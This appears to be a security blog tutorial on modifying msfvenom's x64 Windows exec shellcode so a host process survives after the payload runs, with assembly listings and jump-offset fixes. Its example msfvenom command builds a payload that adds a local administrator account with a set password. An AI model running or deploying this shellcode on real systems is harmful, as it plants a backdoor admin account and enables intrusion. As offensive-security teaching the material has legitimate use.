On a few occasions as of late, I’ve wanted to use the
windows[/x64]/exec payload from
msfvenom, but with the goal of:
- Allowing execution to continue afterwards
- Executing in a single threaded environment
- Executing without an exception handler
Unfortunately, when setting the
EXITFUNC option to
none, no code is generated to allow execution to continue as normal after the payload has been executed, and ultimately results in an access violation.
The example I’ll be going over in this post is specifically the x64 version of the exec payload, which differs slightly to the x86 version. Most notably, the calling convention is different, the x86 version will see all arguments pushed on to the stack, but the x64 version will put the first few arguments into registers.
To generate the base shellcode I’ll be working with, I ran:
msfvenom -p windows/x64/exec CMD='cmd.exe /k "net user /add di.security Disecurity1! && net localgroup administrators di.security /add"' EXITFUNC=none
What Causes the Problem
exec payload uses the WinExec function to run the command specified in the
To push the command text specified in the
CMD option on to the stack, it is defined as raw bytes at the end of the payload, preceded by a
call is used, the address of the next instruction is then pushed on to the stack, so the execution flow can return to the correct place later. In the context of shellcoding, the pointer to the next instruction is effectively a pointer to the string that has been defined in place, and avoids the need for N amount of
If we were to take the first few bytes that appear after
call rbp in the above screenshot and convert them to ASCII, we can see that it is the equivalent of
$ echo -e "\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x6b" cmd.exe /k
Eventually, the execution of the payload will end up being passed to these bytes, which will lead to an error at some point, as the bytes are nonsensical in terms of actual operations.
The solution to this issue is quite simple. The ultimate goal will be to add some extra bytes before the command text bytes which will instruct the program to jump past the command text bytes so that normal operations can continue.
As you may be anticipating, doing this will cause an issue in that extra bytes will precede the command text in the call to
WinExec. To avoid this becoming an issue, an additional change will need to be made to ensure the pointer used for the
lpCmdLine argument is increased by an appropriate number of bytes, so that it points ahead of the new bytes being added.
The change to the command text area can be seen in the screenshot below:
Four new bytes have been added after
call rbp, the first two are are for a
jmp operation to jump forward past the in place bytes, and the subsequent two bytes are just two NOPs to visually show the separation.
With the new code in place to ensure the command text bytes are never executed, the change to offset the
lpCmdLine pointer can be made.
The point at which
WinExec is invoked is at the
jmp rax operation. At this point, the command being executed will be stored in the
rcx register. The code block to look for is:
pop r8 ; 4158 pop r8 ; 4158 pop rsi ; 5E pop rcx ; 59 pop rdx ; 5A pop r8 ; 4158 pop r9 ; 4159 pop r10 ; 415A sub rsp,byte +0x20 ; 4883EC20 push r10 ; 4152 jmp rax ; FFE0
As 4 bytes will be added before
jmp rax to make the adjustment, and 4 bytes were added to jump over the command text,
rcx needs to be adjusted by 8 bytes. To do this,
add rcx, 0x8 is inserted before
push r10 ; 4152 add rcx, byte +0x8 ; 4883C108 jmp rax ; FFE0
Fixing Relative Jumps
The simple solution now becomes a bit more painful. Adding the adjustment to the
rcx register causes a shift in a number of offsets by 4 bytes.
Thankfully, the visual aid on the left side of the screen in x64dbg makes it a bit easier to identify affected jumps by showing where they would land if taken.
Any jump or call instruction that has an offset that went forward past
jmp rax will need to have its offset increased by 4, where as any jump or call that went backwards will need to have its offset decreased by 4.
A total of 4 operations were found that needed to be changed:
call 0xca) changes to
jz 0xbf) changes to
jrcxz 0xbe) changes to
- The one jump backwards found towards the end of the payload changes from
E9 57 FF FF FFto
E9 53 FF FF FF
Wrapping Up & Testing
Now that all the changes have been made, checking the value of
rcx when sitting on the
jmp rax instruction should show it pointing to the start of the command text bytes:
After the call to
WinExec, the execution should eventually return to the short jump that was added before the command text bytes, which should jump straight over the entirety of the command text:
What you place after the command text bytes is completely up to you. In this case, I placed a NOP sled, a stack adjustment and a call into some existing code.
After making these changes, the final payload (minus the additions after the final NOP sled) looks like this: